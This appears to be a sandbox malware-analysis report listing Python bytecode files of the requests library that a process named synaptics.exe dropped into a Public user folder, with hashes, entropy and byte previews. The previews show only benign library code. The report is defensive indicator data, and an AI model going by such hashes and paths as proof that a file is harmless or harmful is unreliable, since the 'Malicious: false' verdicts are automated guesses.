SHA-256:	9B94A6069FC053D9E79712B463BB0FBC766CCF7666B680908FCFC91ED8143298
SHA-512:	3C98F635C9A52E02C8C9A6F2B165BCE84DEF03A7D020DE25776E02F55042F0017B1EFC844D4B9B0A8FCBCB0A48D14C5F38599DE71BCD722A7BD4CF24FAB5CA6E
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...s,...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.)...requestsz.Python HTTP for Humans.z.https://requests.readthedocs.ioz.2.32.3i.2..z.Kenneth Reitzz.me@kennethreitz.orgz.Apache-2.0z.Copyright Kenneth Reitzu..... .. .N)...__title__..__description__..__url__..__version__..__build__..__author__..__author_email__..__license__..__copyright__..__cake__..r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\__version__.py..<module>....s........................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\_internal_utils.cpython-310.pyc.61119136

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1594
Entropy (8bit):	5.661162738180426
Encrypted:	false
SSDEEP:	24:tUBUBWmfmQURGWydfvTsNWGioiklxL5VWQ5Ycr1OlX471aNNqagEb/m5Q5lC:tmUBWAmpGWydoNxLEcr1OlX4Ja8me5Q+
MD5:	7C00653A65071DE9B419DFD972A56C04
SHA1:	B944F10AEF29180778C9DD7C9AFBDE96D4036876
SHA-256:	331128DF00D417CE3AADC20B60F393EA2FBCCBEA6B1C26ECA93175458385BB74
SHA-512:	48EB8B4FC6CD590DCD22FE0C1A6ABCC127A9C69A10F46EBA07A8D3B947A4E7875F37456E9862F693B9229373A13404154ADE73E3F8EFAA59CCD01CF6772FC35E
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...sr...d.Z.d.d.l.Z.d.d.l.m.Z...e...d...Z.e...d...Z.e...d...Z.e...d...Z.e.e.f.Z.e.e.f.Z.e.e.e.e.i.Z.d.d.d...Z.d.d...Z.d.S.).z..requests._internal_utils.~~~~~~~~~~~~~~..Provides utility functions that are consumed internally by Requests.which depend on extremely few external helpers (such as compat)......N.....)...builtin_strs....^[^:\s][^:\r\n]$z.^[^:\s][^:\r\n]$s....^\S[^\r\n]$\|^$z.^\S[^\r\n]$\|^$..asciic....................C...s ...t.\|.t...r.\|.}.\|.S.\|...\|...}.\|.S.).z.Given a string object, regardless of type, returns a representation of. that string in the native string type, encoding and decoding where. necessary. This assumes ASCII unless told otherwise.. )...isinstancer......decode)...string..encoding..out..r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\_internal_utils.py..to_native_string....s..............r....c....................C...s4...t.\|.t...s.J...z.\|...d.....W.d.S...t.y.......Y.d.S.w.).z.Determine if unicod

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\adapters.cpython-310.pyc.61160768

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	22008
Entropy (8bit):	5.431370530692121
Encrypted:	false
SSDEEP:	384:YmMszG/lVfA1fIGIZ4Wj6EE28aauabYqpXMNpeux9URUlegWjvPWVhynNJRIVv8l:50TQfIGw4qpmcUp5luxifgCWSYvH9yck
MD5:	3399C8238984D5327D85C8514EBF3E0E
SHA1:	BA008396D022AB563CE4494369AC06B457CE0F97
SHA-256:	546D7CDD90BAEB35E9112585C645C0126E88F05257BA7C398F5012BB8822DC64
SHA-512:	E57338E05C00F38F5B551CE94970FDF31F05B7856499B5C1F0791C7BE433D4ED01A8E6F31CCF2B43B682C7E62CE03E0FED1A8094F5F0DA0DA74A63FBF20D70CF
Malicious:	false
Reputation:	low
Preview:	o.......?..f;k.......................@...s&...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l"m#Z#..d.d.l$m%Z%m&Z&..d.d.l'm(Z(..d.d.l)mZm+Z+m.Z.m,Z,m-Z-m.Z.m.Z.m/Z/m0Z0m.Z...d.d.l1m2Z2..d.d.l3m4Z4..d.d.l5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<..z.d.d.l=m>Z>..W.n...e?y.......d.d...Z>Y.n.w.e.j@r.d.d.l1mAZA..d.ZBd.ZCd.ZDd.ZEz.d.d.lFZFe!..ZGeG.He7e6......W.n...e?y.......d.ZGY.n.w........ .!.".#.$.%.&d-d'd(..ZIG.d)d..d..ZJG.d+d,..d,eJ..ZKd.S.).z..requests.adapters.~~~~~~~~~~~~~~~~~..This module contains the transport adapters that Requests uses to define.and maintain connections.......N)...ClosedPoolError..ConnectTimeoutError)...HTTPError)...InvalidHeader)...LocationValueError..MaxRetryError..NewConnectionError..ProtocolError)...ProxyError)...ReadTimeoutError..ResponseError)...SSLError)...PoolManager..proxy_from_url)...Timeout)...parse_ur

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\adapters.cpython-310.pyc.75772776

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	22008
Entropy (8bit):	5.431370530692121
Encrypted:	false
SSDEEP:	384:YmMszG/lVfA1fIGIZ4Wj6EE28aauabYqpXMNpeux9URUlegWjvPWVhynNJRIVv8l:50TQfIGw4qpmcUp5luxifgCWSYvH9yck
MD5:	3399C8238984D5327D85C8514EBF3E0E
SHA1:	BA008396D022AB563CE4494369AC06B457CE0F97
SHA-256:	546D7CDD90BAEB35E9112585C645C0126E88F05257BA7C398F5012BB8822DC64
SHA-512:	E57338E05C00F38F5B551CE94970FDF31F05B7856499B5C1F0791C7BE433D4ED01A8E6F31CCF2B43B682C7E62CE03E0FED1A8094F5F0DA0DA74A63FBF20D70CF
Malicious:	false
Reputation:	low
Preview:	o.......?..f;k.......................@...s&...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l"m#Z#..d.d.l$m%Z%m&Z&..d.d.l'm(Z(..d.d.l)mZm+Z+m.Z.m,Z,m-Z-m.Z.m.Z.m/Z/m0Z0m.Z...d.d.l1m2Z2..d.d.l3m4Z4..d.d.l5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<..z.d.d.l=m>Z>..W.n...e?y.......d.d...Z>Y.n.w.e.j@r.d.d.l1mAZA..d.ZBd.ZCd.ZDd.ZEz.d.d.lFZFe!..ZGeG.He7e6......W.n...e?y.......d.ZGY.n.w........ .!.".#.$.%.&d-d'd(..ZIG.d)d..d..ZJG.d+d,..d,eJ..ZKd.S.).z..requests.adapters.~~~~~~~~~~~~~~~~~..This module contains the transport adapters that Requests uses to define.and maintain connections.......N)...ClosedPoolError..ConnectTimeoutError)...HTTPError)...InvalidHeader)...LocationValueError..MaxRetryError..NewConnectionError..ProtocolError)...ProxyError)...ReadTimeoutError..ResponseError)...SSLError)...PoolManager..proxy_from_url)...Timeout)...parse_ur

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\api.cpython-310.pyc.70986848

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6694
Entropy (8bit):	5.146271398526042
Encrypted:	false
SSDEEP:	96:s4kMfrO7AyGLluXW87ZolNAzj8t8JYat9DMGm6RGmOsGmfiC:wMDY7EeZjM88eRys2C
MD5:	BC1A743CA5485B370EA176DC578855E4
SHA1:	425CAC341512B87891826546C8901B8BD383FDD1
SHA-256:	E7072750792C3C21F880A3B80F2CB52BC0B15B823B5386E07D194CBB5591EFDE
SHA-512:	B21FBE488217CCB3A3092989ACB324D1551E97344CF27FFCA0CFAAE1F8F1857F6B95C64DDE61BBEC2C342E0AC1567F14B2A43440947F0F567939CF925E016023
Malicious:	false
Reputation:	low
Preview:	o.......?..f1........................@...s\...d.Z.d.d.l.m.Z...d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z..requests.api.~~~~~~~~~~~~..This module implements the Requests API...:copyright: (c) 2012 by Kenneth Reitz..:license: Apache2, see LICENSE for more details.......)...sessionsc....................K...sB...t.......}.\|.j.d.\|.\|.d...\|.....W...d.........S.1.s.w.......Y...d.S.).a....Constructs and sends a :class:`Request <Request>`... :param method: method for the new :class:`Request` object: ``GET``, ``OPTIONS``, ``HEAD``, ``POST``, ``PUT``, ``PATCH``, or ``DELETE``.. :param url: URL for the new :class:`Request` object.. :param params: (optional) Dictionary, list of tuples or bytes to send. in the query string for the :class:`Request`.. :param data: (optional) Dictionary, list of tuples, bytes, or file-like. object to send in the body of the :class:`Request`.. :param json: (optional) A JSON serializable Python object to se

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\auth.cpython-310.pyc.61160888

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	8090
Entropy (8bit):	5.488935587177655
Encrypted:	false
SSDEEP:	192:5B07m1AjzLPVCFA1PCGLcBCJI1W22VjwTrhhbVYy:X07m1iVCOPCGLRWW22aTNhl
MD5:	BE74449D59E06D7018FC0475CDFEAFBD
SHA1:	510D878316BA1826A214B8F9548A26C53FC350D5
SHA-256:	61C26C8289F3A92ABA57A92AD86E4657E0E8E943BA1DCE45E549A6AEFB0D7801
SHA-512:	92B737A5C983ABD6778AEE7BE8BE31DFF564E72F53BCE1B8A479715AEB2283A112B929E7F9BF19EAEC5BBD6FB80C64C4BD99F5B74611F3A89B582C1A4DDC0952
Malicious:	false
Reputation:	low
Preview:	o.......?..f.'.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z].requests.auth.~~~~~~~~~~~~~..This module contains the authentication handlers for Requests.......N)...b64encode.....)...to_native_string)...basestring..str..urlparse)...extract_cookies_to_jar)...parse_dict_headerz!application/x-www-form-urlencodedz.multipart/form-datac....................C...s....t.\|.t...s.t.j.d...\|...t.d.....t.\|...}.t.\|.t...s(t.j.d...t.\|.....t.d.....t.\|...}.t.\|.t...r2\|...d...}.t.\|.t...r<\|...d...}.d.t.t.d...\|.\|.f.............}.\|.S.).z.Returns a Basic Auth string.z.Non-string usernames will no longer be supported in Requests 3.0.0. Please convert the object you've passed in ({!r}) to a string or bytes object in the near future to avoid problems.)...categoryz.Non-string passwords will no longer be supported in Requests 3.0

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\auth.cpython-310.pyc.75772896

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	8090
Entropy (8bit):	5.488935587177655
Encrypted:	false
SSDEEP:	192:5B07m1AjzLPVCFA1PCGLcBCJI1W22VjwTrhhbVYy:X07m1iVCOPCGLRWW22aTNhl
MD5:	BE74449D59E06D7018FC0475CDFEAFBD
SHA1:	510D878316BA1826A214B8F9548A26C53FC350D5
SHA-256:	61C26C8289F3A92ABA57A92AD86E4657E0E8E943BA1DCE45E549A6AEFB0D7801
SHA-512:	92B737A5C983ABD6778AEE7BE8BE31DFF564E72F53BCE1B8A479715AEB2283A112B929E7F9BF19EAEC5BBD6FB80C64C4BD99F5B74611F3A89B582C1A4DDC0952
Malicious:	false
Reputation:	low
Preview:	o.......?..f.'.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z].requests.auth.~~~~~~~~~~~~~..This module contains the authentication handlers for Requests.......N)...b64encode.....)...to_native_string)...basestring..str..urlparse)...extract_cookies_to_jar)...parse_dict_headerz!application/x-www-form-urlencodedz.multipart/form-datac....................C...s....t.\|.t...s.t.j.d...\|...t.d.....t.\|...}.t.\|.t...s(t.j.d...t.\|.....t.d.....t.\|...}.t.\|.t...r2\|...d...}.t.\|.t...r<\|...d...}.d.t.t.d...\|.\|.f.............}.\|.S.).z.Returns a Basic Auth string.z.Non-string usernames will no longer be supported in Requests 3.0.0. Please convert the object you've passed in ({!r}) to a string or bytes object in the near future to avoid problems.)...categoryz.Non-string passwords will no longer be supported in Requests 3.0

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\certs.cpython-310.pyc.61158848

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	595
Entropy (8bit):	5.301750884907586
Encrypted:	false
SSDEEP:	12:CA67OBe1A3Dj4uIy1XfB4A4kvYa4Zk3S2sUCc011Tl7RUcENM:t6jgbXKAhwa93DRCRpVZ
MD5:	5E21190694AD00065397BB4B7056DEFC
SHA1:	4362E1C2071D64DECD506BB372B8642C57245B71
SHA-256:	88E7381FED1997431F3E1B9275AA92790348E0DC7FEEAF756689A40AD0413416
SHA-512:	40F1A4CFA558827F60B025DBD27A6DA034C5675FBD1044294F497C1BCDC9A6C2E771F47975AB2697297F4C956D056F74578434832864D3D1D31F9E921B973E14
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...s*...d.Z.d.d.l.m.Z...e.d.k.r.e.e.......d.S.d.S.).uF....requests.certs.~~~~~~~~~~~~~~..This module returns the preferred default CA certificate bundle. There is.only one . the one from the certifi package...If you are packaging Requests, e.g., for a Linux distribution or a managed.environment, you can change the definition of where() to return a separately.packaged CA bundle.......)...where..__main__N)...__doc__Z.certifir......__name__..print..r....r.....@C:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\certs.py..<module>....s..............

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\compat.cpython-310.pyc.60980304

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1746
Entropy (8bit):	5.60231557414537
Encrypted:	false
SSDEEP:	48:tNAUIkbGXHyOLyRJV79C9lKPV+5MTYGi4k0b8+:nR8XyUyRJJ98KPV+5f4kI
MD5:	E3471661AC85A96390EB51C0769EE23D
SHA1:	8F2AD0FDBCF1F37A1512B3136B9917B841B73AAE
SHA-256:	0CE48FE6A1922C8DD92ED3108D3D634ECA1B75302B1531A322DF4E6368ED9129
SHA-512:	AE8E69BC8DB41207441826023A47803104A53E1E6976E9B34F8386702710001BD31A11B40472DCF3398C9AE4AC39AF73819F6EE0BEFECB750F60D063CF58911A
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...sD...d.Z.d.d.l.Z.d.d.l.Z.d.d...Z.e...Z.e.j.Z.e.d...d.k.Z.e.d...d.k.Z.d.Z.z.d.d.l.Z.d.Z.W.n...e.y7......d.d.l.Z.Y.n.w.e.rAd.d.l.m.Z...n.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%..d.d.l&m'Z'm(Z(m)Z)mZm+Z+..e,Z-e,Z,e.Z.e,e.f.Z/e0e1f.Z2e0f.Z3d.S.).z..requests.compat.~~~~~~~~~~~~~~~..This module previously handled import compatibility issues.between Python 2 and Python 3. It remains for backwards.compatibility until the next major version.......Nc....................C...s<...d.}.d.D.].}.\|.d.u.r.z.t...\|...}.W.q...t.y.......Y.q.w.q.\|.S.).z-Find supported character detection libraries.N)...chardet..charset_normalizer)...importlib..import_module..ImportError).r......lib..r.....AC:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\compat.py.._resolve_char_detection....s........................r..............FT)...JSONDecodeError)...OrderedDict)...Callable..Mapping..M

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\compat.cpython-310.pyc.74879728

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1746
Entropy (8bit):	5.60231557414537
Encrypted:	false
SSDEEP:	48:tNAUIkbGXHyOLyRJV79C9lKPV+5MTYGi4k0b8+:nR8XyUyRJJ98KPV+5f4kI
MD5:	E3471661AC85A96390EB51C0769EE23D
SHA1:	8F2AD0FDBCF1F37A1512B3136B9917B841B73AAE
SHA-256:	0CE48FE6A1922C8DD92ED3108D3D634ECA1B75302B1531A322DF4E6368ED9129
SHA-512:	AE8E69BC8DB41207441826023A47803104A53E1E6976E9B34F8386702710001BD31A11B40472DCF3398C9AE4AC39AF73819F6EE0BEFECB750F60D063CF58911A
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...sD...d.Z.d.d.l.Z.d.d.l.Z.d.d...Z.e...Z.e.j.Z.e.d...d.k.Z.e.d...d.k.Z.d.Z.z.d.d.l.Z.d.Z.W.n...e.y7......d.d.l.Z.Y.n.w.e.rAd.d.l.m.Z...n.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%..d.d.l&m'Z'm(Z(m)Z)mZm+Z+..e,Z-e,Z,e.Z.e,e.f.Z/e0e1f.Z2e0f.Z3d.S.).z..requests.compat.~~~~~~~~~~~~~~~..This module previously handled import compatibility issues.between Python 2 and Python 3. It remains for backwards.compatibility until the next major version.......Nc....................C...s<...d.}.d.D.].}.\|.d.u.r.z.t...\|...}.W.q...t.y.......Y.q.w.q.\|.S.).z-Find supported character detection libraries.N)...chardet..charset_normalizer)...importlib..import_module..ImportError).r......lib..r.....AC:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\compat.py.._resolve_char_detection....s........................r..............FT)...JSONDecodeError)...OrderedDict)...Callable..Mapping..M

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\cookies.cpython-310.pyc.61159808

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	18689
Entropy (8bit):	5.258680165123524
Encrypted:	false
SSDEEP:	192:lEvXh4n08OcOwp5PmoFKcA8YIL0RE9IFHQSAMGHQJCVGjxPA0lcQH:lEvXh4n08HbpZB0AVeiIVByHQs0php
MD5:	866C6DC11B93AAC8A8740A8140578745
SHA1:	99883F789060ED7F17FB5EB315C2FCFC81D6E086
SHA-256:	8CFDC300C202F9DE40CEBDC0D0F96ED897F5D8FA591136656414CBD80187E43F
SHA-512:	0A559947748D592A56B148A0088581E13C8E1514B5FBF3AADB200EA288C7F4A962808317625725C60FB22347338A26755EBEE55F26F8DDE37F27F92ED258C5C5
Malicious:	false
Reputation:	low
Preview:	o.......?..f.H.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...z.d.d.l.Z.W.n...e.y5......d.d.l.Z.Y.n.w.G.d.d...d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.d.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e.j.e...Z.d.d...Z.d.d...Z.d.d...Z.d d.d...Z.d.d...Z.d.S.)!z..requests.cookies.~~~~~~~~~~~~~~~~..Compatibility code to be able to use `http.cookiejar.CookieJar` with requests...requests.utils imports from here, so be careful with imports.......N.....)...to_native_string)...Morsel..MutableMapping..cookielib..urlparse..urlunparsec....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d.S.) ..MockRequesta....Wraps a `requests.Request` to mimic a `urllib2.Request`... The code in `http.cookiejar.CookieJar` expects this interface in order to correctly. manage cookie policies, i.e., determine whether a cookie can be set, given the. domains of th

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\exceptions.cpython-310.pyc.74879608

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6197
Entropy (8bit):	4.921771915371752
Encrypted:	false
SSDEEP:	96:KIrpcOB6P/5IldtEEJiCr6dNtQlrnlGkh98RZR1YgvOHwXx:frpwxIlv/JPr6OgH2Qh
MD5:	AAF6B3115D9B4FD37A3BF9278B05A461
SHA1:	C16733B7E19A3CAEBFBED19291BDF9AD6A2EBA01
SHA-256:	40A1AC99656A83B9451C232700DF3DCEF747EC78B3A4C79AC0181228C598C861
SHA-512:	9C5C0171F8EF75D68DCB79EE26C71858617F842E0F11C719A95E7C09E5FF6D5F29FEDE816351B3E7DC70AFADC66D32E31C7114361A30AADC6873D316D702A30A
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d ..d e.e...Z.G.d!d"..d"e.e...Z.G.d#d$..d$e.e...Z.G.d%d&..d&e...Z.G.d'd(..d(e...Z.G.d)d..de.e...Z.G.d+d,..d,e.e...Z.G.d-d...d.e...Z.G.d/d0..d0e...Z.G.d1d2..d2e...Z.G.d3d4..d4e.e ..Z!G.d5d6..d6e...Z"d7S.)8z`.requests.exceptions.~~~~~~~~~~~~~~~~~~~..This module contains the set of Requests' exceptions.......)...HTTPError.....)...JSONDecodeErrorc........................s ...e.Z.d.Z.d.Z...f.d.d...Z.....Z.S.)...RequestExceptionzTThere was an ambiguous exception that occurred while handling your. request.. c........................sX...\|...d.d...}.\|.\|._.\|...d.d...\|._.\|.d.u.r!\|.j.s!t.\|.d...r!\|.j.j.\|._.t...j.\|.i.\|.......d.S.).zBInitialize RequestException with `request` and `response` objects...resp

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\hooks.cpython-310.pyc.61160888

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.240557336257205
Encrypted:	false
SSDEEP:	24:tgSx1qlJ5pMUqTDP/+/k+VmY+qnvWZ3b1e7N:tuRyDPGEYxS3bUx
MD5:	C0B11482D2ABEABCF2BE6C42973C490C
SHA1:	616AD5EF2B62D0EF74515743430261C3F498ABD7
SHA-256:	04549BD27DCD27DDDAA13004959E1D6CCD7FA2A39C5EB34E71CF67D18B85DE9C
SHA-512:	C58F45C981347748192C958878BB8D03BEF466E5FE5F036E7A10EB0281181445204209FC8053BAE5DFFD8A1933FAA36B927BC79953898FDF71444EC7B0F70265
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...s....d.Z.d.g.Z.d.d...Z.d.d...Z.d.S.).z..requests.hooks.~~~~~~~~~~~~~~..This module provides the capabilities for the Requests hooks system...Available hooks:..``response``:. The response generated from a Request....responsec....................C...s....d.d...t.D...S.).Nc....................S...s....i.\|.].}.\|.g...q.S...r....)....0..eventr....r.....@C:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\hooks.py..<dictcomp>....s......z!default_hooks.<locals>.<dictcomp>)...HOOKSr....r....r....r......default_hooks....s......r....c....................K...sP...\|.p.i.}.\|...\|...}.\|.r&t.\|.d...r.\|.g.}.\|.D.].}.\|.\|.f.i.\|.....}.\|.d.u.r%\|.}.q.\|.S.).z6Dispatches a hook dictionary on a given piece of data...__call__N)...get..hasattr)...key..hooksZ.hook_data..kwargs..hookZ._hook_datar....r....r......dispatch_hook....s..........................r....N)...__doc__r....r....r....r....r....r....r......<module>....s............

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\models.cpython-310.pyc.61161248

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	24184
Entropy (8bit):	5.464359982385349
Encrypted:	false
SSDEEP:	384:+34ngR7uY/Gf9b7UxmzVmwYB984Z2YbwFkeeiZIuWEKbXN7:+3t6Y/GpKmzVmVB9tZ2YbwFeQgEKbXN7
MD5:	C9C606E464478D11F82893E4A61B0EC6
SHA1:	14E284FECC214D67E211AF6A2707B88EE714C6B6
SHA-256:	E0632E8135612EAE8FF9CFA0068468549FEA2443B1C481662E1671BF4CC97302
SHA-512:	034BF5E4199357249B97F90A81A0BF542FFC0823E70AA988992626C994CA2FD55D21D3CECD4B33ADCE3FEEBE3D149B8EEFD1DF43E7709174B9515CD70843ECA5
Malicious:	false
Reputation:	low
Preview:	o.......?..fZ........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z ..d.d.l.m!Z!m"Z"m#Z#..d.d.l$m%Z%m&Z&m'Z'..d.d.l(m)Z)mZm+Z+m,Z,m-Z-m.Z...d.d.l(m.Z/..d.d.l(m0Z0..d.d.l(m.Z1..d.d.l(m2Z2..d.d.l3m4Z4..d.d.l5m6Z6..d.d.l7m8Z8..d.d.l9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?m@Z@mAZAmBZBmCZC..e6jDe6jEe6jFe6jGe6jHf.ZId.ZJd.ZKd.ZLG.d.d...d...ZMG.d.d...d...ZNG.d.d ..d eN..ZOG.d!d"..d"eMeN..ZPG.d#d$..d$..ZQd.S.)%z`.requests.models.~~~~~~~~~~~~~~~..This module contains the primary objects that power Requests.......N)...UnsupportedOperation)...DecodeError..LocationParseError..ProtocolError..ReadTimeoutError..SSLError)...RequestField)...encode_multipart_formdata)...parse_url.....)...to_native_string..unicode_is_ascii)...HTTPBasicAuth)...Callable..JSONDecodeError..Mapping..basestring..builtin_str..chardet..cookielib)...json)...urlencode..urlsplit..urlunparse)..._copy_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\packages.cpython-310.pyc.61158368

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	599
Entropy (8bit):	5.47645396399439
Encrypted:	false
SSDEEP:	12:CAcGzQ2Z1N6EzEq+sH5MWR6hxtRHV/bCJHRi/uelmXifqI0I9IGm+l7RhCUV/X:tdwnq+sHIztRERi/uAfz3pmuVhCmX
MD5:	FC966030A7AB0E4C2E3112953C0F6F46
SHA1:	261CE9108202CBFA012E83D3134FC5429A44F25B
SHA-256:	ADE0465D688314862E7D54343F9B3CA9E18DC826B36A32F73E29626F59E6BD2D
SHA-512:	578F7F9E4AF0939622275885C177876899BDCDE530A09EF5B6F43DC1EA0C94211745437B8CF1B2467409E14AA655DDCD7BC800758589FDD1F1A64826E469B93F
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...s....d.d.l.Z.d.d.l.m.Z...d.D.](Z.e.e...e...e.<.e.e.j...D.].Z.e.e.k.s(e...e...d.....r3e.j.e...e.j.d.e.....<.q.q.e.d.u.rke.j.Z.e.e.j...D.]+Z.e.e.k.sOe...e...d.....rje.j.e...Z.e.e.j.d.e.....<.e...e.d...Z.e.e.j.d.e.....<.qAd.S.d.S.)......N.....)...chardet)...urllib3..idna...z.requests.packages.r....)...sys..compatr......package..__import__..locals..list..modules..mod..startswith..__name__..targetZ.imported_mod..replace..r....r.....CC:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\packages.py..<module>....s(...........................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\sessions.cpython-310.pyc.61160168

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	19692
Entropy (8bit):	5.466593235194196
Encrypted:	false
SSDEEP:	384:rKLx6UqoGz2kdHyVf6jLBvYANUwZaBk2bNHn8Qq:OFlGFHRjW2c/n8b
MD5:	5970B41FF89E4C116D216E401A439DC6
SHA1:	243DF8815E3859840F096406B7EF7216B284CE80
SHA-256:	824A1D830ABFDE80DB0D53F7FF09F6873CC85B21E2D08CEFEEBE038AFFA4982D
SHA-512:	F0845AE668D2570A7516FD7A137B2CC4CDB88E6F8D9B7F77F1D0A7CB7D44267FD1EBCA1ECF35CFD477189A3D1206F50A0B81F1711C64E0518F8270CC410BF58A
Malicious:	false
Reputation:	low
